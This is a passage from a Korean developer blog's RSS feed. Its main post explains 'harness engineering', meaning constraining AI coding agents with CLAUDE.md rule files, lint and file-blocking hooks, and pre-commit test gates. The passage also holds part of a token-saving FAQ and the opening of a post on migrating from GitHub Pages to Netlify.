&lt;p&gt;&lt;strong&gt;Q. Max 요금제를 쓰면 토큰 절약이 의미 없나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Max 요금제도 사용량 제한이 있습니다. 토큰을 아끼면 같은 요금으로 더 많은 작업을 할 수 있고, 속도 제한(rate limit)에 덜 걸립니다. 절약 습관은 어떤 요금제든 유용합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;다음 편에서는 &lt;code class=&quot;language-text&quot;&gt;.claudeignore&lt;/code&gt;, 서브에이전트, 모델 선택 등 &lt;strong&gt;설정과 워크플로우 차원의 토큰 최적화&lt;/strong&gt;를 다룹니다.&lt;/p&gt;
&lt;p&gt;궁금한 점이나 여러분만의 토큰 절약 팁이 있다면 댓글로 공유해주세요!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[하네스 엔지니어링이란? — AI 에이전트를 제어하는 구조적 시스템 설계]]></title><description><![CDATA[안녕하세요, 자바파커입니다. AI 에이전트에게 코드를 맡겼더니, 처음엔 잘 하다가 대화가 길어지니 엉뚱한 코드를 쏟아내기 시작합니다. 비슷한 경험, 한 번쯤 해보셨죠? 프롬프트를 아무리 정교하게 써도 AI가 말을 안 듣는 순간이 옵니다. 최근 AI…]]></description><link>https://blog.javapark.kr/harness-engineering/</link><guid isPermaLink="false">https://blog.javapark.kr/harness-engineering/</guid><pubDate>Sun, 05 Apr 2026 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AI 에이전트에게 코드를 맡겼더니, 처음엔 잘 하다가 대화가 길어지니 엉뚱한 코드를 쏟아내기 시작합니다. 비슷한 경험, 한 번쯤 해보셨죠?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;프롬프트를 아무리 정교하게 써도 AI가 말을 안 듣는 순간이 옵니다. 최근 AI 업계에서는 이 문제를 해결하기 위한 새로운 개념이 주목받고 있습니다. 바로 **하네스 엔지니어링(Harness Engineering)**입니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — 프롬프트가 AI에게 하는 &apos;부탁&apos;이라면, 하네스는 규칙을 어길 수 없게 만드는 **&apos;강제적 시스템&apos;**입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;하네스 엔지니어링이란?&lt;/h2&gt;
&lt;p&gt;**하네스(Harness)**는 원래 야생말을 통제하기 위한 &apos;마구(고삐, 안장)&apos;를 뜻합니다. 이 비유가 AI에도 그대로 적용됩니다.&lt;/p&gt;
&lt;p&gt;거대언어모델(LLM)이라는 강력한 야생말이 있습니다. 엄청난 능력을 가졌지만, 고삐 없이 달리게 놔두면 어디로 튈지 모릅니다. &lt;strong&gt;하네스 엔지니어링&lt;/strong&gt;은 이 야생말이 인간의 의도대로 정확하게 달릴 수 있도록 제어하고 가이드하는 &lt;strong&gt;구조적 시스템을 설계&lt;/strong&gt;하는 것입니다.&lt;/p&gt;
&lt;h3&gt;프롬프트 엔지니어링과 뭐가 다른가?&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구분&lt;/th&gt;
&lt;th&gt;프롬프트 엔지니어링&lt;/th&gt;
&lt;th&gt;하네스 엔지니어링&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;방식&lt;/td&gt;
&lt;td&gt;AI에게 &apos;부탁&apos;&lt;/td&gt;
&lt;td&gt;AI를 &apos;강제&apos;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;제어 수준&lt;/td&gt;
&lt;td&gt;요청 수준&lt;/td&gt;
&lt;td&gt;시스템 수준&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;위반 시&lt;/td&gt;
&lt;td&gt;AI가 무시할 수 있음&lt;/td&gt;
&lt;td&gt;물리적으로 불가능하게 설계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;비유&lt;/td&gt;
&lt;td&gt;&quot;천천히 달려줘&quot;&lt;/td&gt;
&lt;td&gt;속도 제한 장치를 달아버림&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;프롬프트에 &quot;절대 DB를 삭제하지 마&quot;라고 써도, AI가 맥락을 잃으면 삭제 명령을 실행할 수 있습니다. 하네스는 애초에 DB 삭제 명령이 실행되지 못하도록 시스템 레벨에서 차단합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 하네스가 필요한가?&lt;/h2&gt;
&lt;p&gt;AI 에이전트를 실무에 투입해보면, 두 가지 고질적 문제를 마주하게 됩니다.&lt;/p&gt;
&lt;h3&gt;문제 1: 컨텍스트 부패 (Context Rot)&lt;/h3&gt;
&lt;p&gt;대화가 길어질수록 AI가 앞선 내용을 잊어버리거나 엉뚱한 결론을 내리는 현상입니다. 처음에 &quot;TypeScript로 작성해&quot;라고 했는데, 대화 50턴쯤 되면 슬그머니 JavaScript로 코드를 쓰기 시작합니다.&lt;/p&gt;
&lt;p&gt;컨텍스트 윈도우에는 한계가 있고, 대화가 쌓일수록 초기 지시사항의 영향력은 약해집니다. 프롬프트만으로는 이 문제를 근본적으로 해결할 수 없습니다.&lt;/p&gt;
&lt;h3&gt;문제 2: 규칙 및 울타리 문제&lt;/h3&gt;
&lt;p&gt;AI가 정보는 알고 있지만, 하면 안 되는 행동을 제어할 물리적 장치가 없는 문제입니다.&lt;/p&gt;
&lt;p&gt;예를 들어:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;프로덕션 DB에 직접 쿼리를 날리는 것&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;main&lt;/code&gt; 브랜치에 강제 push하는 것&lt;/li&gt;
&lt;li&gt;민감한 설정 파일을 수정하는 것&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AI는 &quot;이러면 안 된다&quot;는 것을 &apos;알고&apos; 있어도, 시스템적 제약이 없으면 실행할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;하네스를 구성하는 3대 기둥&lt;/h2&gt;
&lt;p&gt;하네스 엔지니어링은 세 가지 핵심 요소로 구성됩니다.&lt;/p&gt;
&lt;h3&gt;기둥 1: 컨텍스트 파일 (Context Files)&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;CLAUDE.md&lt;/code&gt;나 &lt;code class=&quot;language-text&quot;&gt;agent.md&lt;/code&gt; 같은 &lt;strong&gt;온보딩 문서&lt;/strong&gt;입니다. AI가 새로운 세션을 시작할 때마다 가장 먼저 읽게 하여, 프로젝트의 규칙과 절대 해서는 안 될 일을 상기시킵니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;#&lt;/span&gt; CLAUDE.md 예시&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 절대 규칙&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 프로덕션 DB에 직접 쿼리 금지
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; main 브랜치에 직접 push 금지
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; .env 파일 수정 금지

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 코딩 규칙&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; TypeScript strict 모드 사용
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 테스트 없는 코드 커밋 금지
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 기존 함수 시그니처 변경 시 반드시 확인 요청&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;사람으로 치면 신입 사원에게 주는 &lt;strong&gt;온보딩 가이드&lt;/strong&gt;와 같습니다. 매 세션마다 &quot;우리 팀은 이렇게 일합니다&quot;를 읽게 하는 겁니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;핵심 포인트:&lt;/strong&gt; 컨텍스트 파일은 대화가 아무리 길어져도 항상 최우선으로 참조됩니다. 프롬프트는 묻힐 수 있지만, 시스템에 등록된 컨텍스트 파일은 묻히지 않습니다.&lt;/p&gt;
&lt;h3&gt;기둥 2: 자동 강제 시스템 (Automated Enforcement)&lt;/h3&gt;
&lt;p&gt;AI가 코드를 저장하거나 커밋하려 할 때 자동으로 규칙을 체크하는 장치입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;린터(Linter)와 훅(Hook):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// .claude/settings.json 훅 예시&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;hooks&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;PreToolUse&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;matcher&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Edit|Write&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;npm run lint --fix&quot;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;AI가 파일을 수정할 때마다 린터가 자동으로 돌아갑니다. 규칙에 어긋나면 저장 자체가 실패합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;자동 교정 루프:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;여기서 핵심은 오류가 발견되었을 때 사람이 개입하는 대신, &lt;strong&gt;시스템이 AI에게 다시 수정을 명령&lt;/strong&gt;한다는 점입니다. AI가 잘못된 코드를 쓰면 → 린터가 감지 → AI에게 수정 지시 → AI가 스스로 고침. 이 루프가 사람 개입 없이 돌아갑니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&quot;성공은 조용히, 실패는 시끄럽게.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;잘 동작할 때는 아무 일도 일어나지 않고, 문제가 생겼을 때만 시스템이 개입합니다. 이것이 좋은 하네스 설계의 원칙입니다.&lt;/p&gt;
&lt;h3&gt;기둥 3: 가비지 컬렉션 (Garbage Collection)&lt;/h3&gt;
&lt;p&gt;프로그래밍에서 가비지 컬렉션이 안 쓰는 메모리를 정리하듯, AI가 만들어낸 &lt;strong&gt;나쁜 코드 패턴이나 안 쓰는 코드를 주기적으로 청소&lt;/strong&gt;합니다.&lt;/p&gt;
&lt;p&gt;왜 이게 중요할까요? AI는 기존 코드베이스를 참고해서 새 코드를 작성합니다. 만약 이전에 AI가 만든 나쁜 패턴이 그대로 남아있으면, AI가 그것을 &apos;정상적인 코드&apos;로 학습하고 같은 실수를 반복합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;나쁜 코드 잔존 → AI가 참고 → 비슷한 나쁜 코드 생성 → 나쁜 코드 더 쌓임 → ...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 악순환을 끊으려면 주기적으로 코드를 정리해서 AI가 참고할 코드베이스의 품질을 유지해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전 예시: 프롬프트 vs 하네스&lt;/h2&gt;
&lt;p&gt;같은 문제를 프롬프트와 하네스로 각각 해결하는 방식을 비교해보겠습니다.&lt;/p&gt;
&lt;h3&gt;상황: AI가 테스트 없이 코드를 커밋하려 한다&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;프롬프트 방식:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;코드를 작성한 후 반드시 테스트를 작성하고, 테스트가 통과한 후에만 커밋하세요.&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;→ 대화가 길어지면 잊어버리고 테스트 없이 커밋할 수 있음&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;하네스 방식:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# pre-commit 훅&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#!/bin/bash&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;test&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$?&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-ne&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;then&lt;/span&gt;
  &lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;테스트 실패: 커밋이 차단되었습니다&quot;&lt;/span&gt;
  &lt;span class=&quot;token builtin class-name&quot;&gt;exit&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;fi&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;→ 테스트가 실패하면 물리적으로 커밋이 불가능&lt;/p&gt;
&lt;h3&gt;상황: AI가 프로덕션 환경 설정을 건드리려 한다&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;프롬프트 방식:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;절대로 .env.production 파일을 수정하지 마세요.&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;→ 맥락 혼동 시 수정할 수 있음&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;하네스 방식:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;hooks&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;PreToolUse&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;matcher&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Edit|Write&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;node scripts/block-production-files.js&quot;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;→ 시스템이 차단하므로 AI의 의도와 무관하게 수정 불가&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;개발자 역할의 변화: &apos;선수&apos;에서 &apos;감독&apos;으로&lt;/h2&gt;
&lt;p&gt;하네스 엔지니어링이 부상하면서 개발자의 역할도 변하고 있습니다. 이전에는 코드 한 줄 한 줄을 직접 짜는 &lt;strong&gt;엄밀함&lt;/strong&gt;이 중요했다면, 이제는 AI가 올바르게 동작할 수 있는 환경(시스템)을 설계하는 &lt;strong&gt;엄밀함&lt;/strong&gt;이 요구됩니다.&lt;/p&gt;
&lt;p&gt;이것을 **&apos;엄밀함의 재배치&apos;**라고 표현할 수 있습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Before&lt;/th&gt;
&lt;th&gt;After&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;코드를 직접 작성&lt;/td&gt;
&lt;td&gt;AI가 작성할 규칙을 설계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;버그를 직접 수정&lt;/td&gt;
&lt;td&gt;버그를 방지하는 시스템 구축&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;코드 리뷰&lt;/td&gt;
&lt;td&gt;자동 검증 파이프라인 설계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;개별 기능 구현&lt;/td&gt;
&lt;td&gt;AI 워크플로우 아키텍처 설계&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;기술적 수준이 낮아지는 것이 아닙니다. 오히려 &lt;strong&gt;더 높은 차원의 설계 능력&lt;/strong&gt;이 필요합니다. 축구로 비유하면, 훌륭한 선수에서 훌륭한 감독이 되는 것과 같습니다.&lt;/p&gt;
&lt;p&gt;솔직히 말하면, OpenAI는 코드 한 줄 쓰지 않고 시스템 개선만으로 AI 에이전트의 성능을 크게 올렸다는 사례도 있습니다. 코드를 잘 짜는 능력보다 &lt;strong&gt;시스템을 잘 설계하는 능력&lt;/strong&gt;이 더 큰 레버리지를 만들어내는 시대가 오고 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;지금 바로 시작할 수 있는 것들&lt;/h2&gt;
&lt;p&gt;하네스 엔지니어링이 거창하게 느껴질 수 있지만, 당장 적용할 수 있는 것들이 있습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;CLAUDE.md&lt;/code&gt; 작성하기&lt;/strong&gt; — 프로젝트 루트에 AI를 위한 온보딩 문서를 만들어보세요&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;pre-commit 훅 설정&lt;/strong&gt; — 린터, 테스트 자동 실행으로 기본적인 품질 게이트 설정&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;코드 정리 루틴&lt;/strong&gt; — 주기적으로 안 쓰는 코드, 나쁜 패턴을 정리하는 습관&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI 실수 패턴 기록&lt;/strong&gt; — AI가 반복하는 실수를 발견하면 컨텍스트 파일에 규칙으로 추가&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;하네스 엔지니어링은 프롬프트 엔지니어링을 대체하나요?&lt;/h3&gt;
&lt;p&gt;대체가 아니라 &lt;strong&gt;보완&lt;/strong&gt;입니다. 프롬프트는 AI에게 &apos;무엇을 할지&apos; 알려주는 역할이고, 하네스는 &apos;하면 안 되는 것&apos;을 시스템으로 차단하는 역할입니다. 좋은 프롬프트 + 견고한 하네스 = 신뢰할 수 있는 AI 에이전트입니다.&lt;/p&gt;
&lt;h3&gt;소규모 프로젝트에도 하네스가 필요한가요?&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;CLAUDE.md&lt;/code&gt; 하나만 작성해도 하네스의 시작입니다. 프로젝트 규모와 관계없이, AI와 협업한다면 최소한의 규칙 문서는 만들어두는 것을 추천합니다. 투자 대비 효과가 가장 큰 시작점입니다.&lt;/p&gt;
&lt;h3&gt;Claude Code에서 하네스를 어떻게 적용하나요?&lt;/h3&gt;
&lt;p&gt;Claude Code는 &lt;code class=&quot;language-text&quot;&gt;CLAUDE.md&lt;/code&gt; 파일을 자동으로 인식하고, hooks 설정을 통해 자동 강제 시스템을 구성할 수 있습니다. 즉, 하네스 엔지니어링을 가장 자연스럽게 적용할 수 있는 도구 중 하나입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;AI 에이전트 시대에 개발자의 역량은 코드를 잘 짜는 것에서 &lt;strong&gt;시스템을 잘 설계하는 것&lt;/strong&gt;으로 이동하고 있습니다. 하네스 엔지니어링은 그 변화의 핵심 키워드입니다.&lt;/p&gt;
&lt;p&gt;여러분은 AI 에이전트와 협업할 때 어떤 &apos;고삐&apos;를 사용하고 계신가요? 댓글로 공유해주세요!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[GitHub Pages에서 Netlify로 전환하기 — 소스 비공개와 커스텀 도메인]]></title><description><![CDATA[안녕하세요, 자바파커입니다. GitHub Pages로 블로그를 운영하면, 소스 코드가 전부 공개됩니다. 글은 공개해도 괜찮은데, 초안이나 설정 파일까지 공개되는 건 좀 꺼림칙하지 않으신가요? 이번 포스팅에서는 GitHub Pages에서 Netlify…]]></description><link>https://blog.javapark.kr/09-netlify-migration/</link><guid isPermaLink="false">https://blog.javapark.kr/09-netlify-migration/</guid><pubDate>Sun, 05 Apr 2026 11:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;GitHub Pages로 블로그를 운영하면, 소스 코드가 전부 공개됩니다. 글은 공개해도 괜찮은데, 초안이나 설정 파일까지 공개되는 건 좀 꺼림칙하지 않으신가요?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이번 포스팅에서는 GitHub Pages에서 Netlify로 블로그 배포를 전환한 이유와 과정을 공유합니다. 결론부터 말씀드리면 — 소스 비공개가 필요하다면 Netlify가 정답입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 전환했나?&lt;/h2&gt;
&lt;p&gt;GitHub Pages는 훌륭한 무료 호스팅이지만, 한 가지 제약이 있습니다. &lt;strong&gt;무료 플랜에서는 리포지토리가 반드시 public&lt;/strong&gt;이어야 합니다. 이는 곧 다음을 의미합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;공개되는 항목&lt;/th&gt;
&lt;th&gt;영향도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;발행된 글 내용&lt;/td&gt;
&lt;td&gt;어차피 공개 (문제 없음)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;마크다운 원본&lt;/td&gt;
&lt;td&gt;의도치 않은 복사 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;작성 중인 초안&lt;/td&gt;
&lt;td&gt;미완성 글이 노출됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;blog-config.js&lt;/td&gt;
&lt;td&gt;개인 설정 정보 노출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;커밋 히스토리&lt;/td&gt;
&lt;td&gt;삭제한 글도 이력에 남음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;솔직히 개인 블로그라 큰 문제는 아닙니다. 하지만 &lt;strong&gt;Netlify는 private 리포지토리와 무료로 연동&lt;/strong&gt;되기 때문에, 소스는 비공개로 유지하면서 빌드 결과물만 배포할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;GitHub Pages vs Netlify 비교&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;GitHub Pages&lt;/th&gt;
&lt;th&gt;Netlify&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;가격&lt;/td&gt;
&lt;td&gt;무료&lt;/td&gt;
&lt;td&gt;무료 (월 300분 빌드)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Private 리포지토리&lt;/td&gt;
&lt;td&gt;유료 플랜 필요&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;무료 지원&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CDN&lt;/td&gt;
&lt;td&gt;기본&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;글로벌 CDN&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;빌드 속도&lt;/td&gt;
&lt;td&gt;Actions 경유 (느림)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;직접 빌드 (빠름)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PR 미리보기&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;PR별 미리보기 URL&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;커스텀 도메인&lt;/td&gt;
&lt;td&gt;가능&lt;/td&gt;
&lt;td&gt;가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTTPS&lt;/td&gt;
&lt;td&gt;자동&lt;/td&gt;
&lt;td&gt;자동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;리다이렉트&lt;/td&gt;
&lt;td&gt;불가&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;_redirects&lt;/code&gt; 지원&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;서버리스 함수&lt;/td&gt;
&lt;td&gt;불가&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;지원&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;폼 처리&lt;/td&gt;
&lt;td&gt;불가&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;내장 지원&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;대역폭&lt;/td&gt;
&lt;td&gt;100GB/월&lt;/td&gt;
&lt;td&gt;100GB/월&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;개인 블로그 수준에서는 성능 차이가 크지 않지만, &lt;strong&gt;소스 비공개 + PR 미리보기 + 글로벌 CDN&lt;/strong&gt;이 무료로 제공되는 점이 Netlify의 확실한 장점입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;전환 과정&lt;/h2&gt;
&lt;h3&gt;1단계: Netlify 사이트 생성&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.netlify.com&quot;&gt;netlify.com&lt;/a&gt; 가입/로그인&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Add new site&lt;/strong&gt; → &lt;strong&gt;Import an existing project&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;GitHub 연결 → 리포지토리 선택&lt;/li&gt;
&lt;li&gt;빌드 설정 입력:&lt;/li&gt;
&lt;/ol&gt;
&lt;table&gt;
